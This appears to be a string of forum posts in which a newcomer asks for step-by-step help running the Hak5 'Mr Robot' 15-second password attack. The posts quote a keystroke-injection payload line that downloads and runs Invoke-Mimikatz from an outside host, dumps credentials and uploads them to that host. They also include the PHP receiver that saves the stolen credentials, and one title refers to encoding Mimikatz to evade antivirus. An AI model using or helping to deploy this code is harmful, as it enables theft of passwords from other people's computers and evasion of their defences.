[How can I create a server?]

Hello, I'm new to this and I wanted to know how I can create a server and host the files of mimikatz and rx.php of the post of 15 seconds mr robot and upload the file to the server.
I would appreciate it

PD: https://www.hak5.org/blog/15-second-password-hack-mr-robot-style

[Invoke-Mimikatz encoded to avoid antivirus detection]

What domain have you used to upload the resulting file?

[15 seconds script]

Hi, I've been trying to set up the script for some time, which is the following: https://www.hak5.org/blog/15-second-password-hack-mr-robot-style, in the first part it says the following: 

REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://darren.kitchen/rx.php', $output)"
ENTER
DELAY 15000

Where can I upload the files and how?
The rx.php where it is put, on the server?

<?php
$file = $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
file_put_contents($file, file_get_contents("php://input"));
?>

How do I execute it?
I would very much appreciate someone helping me step by step to do it.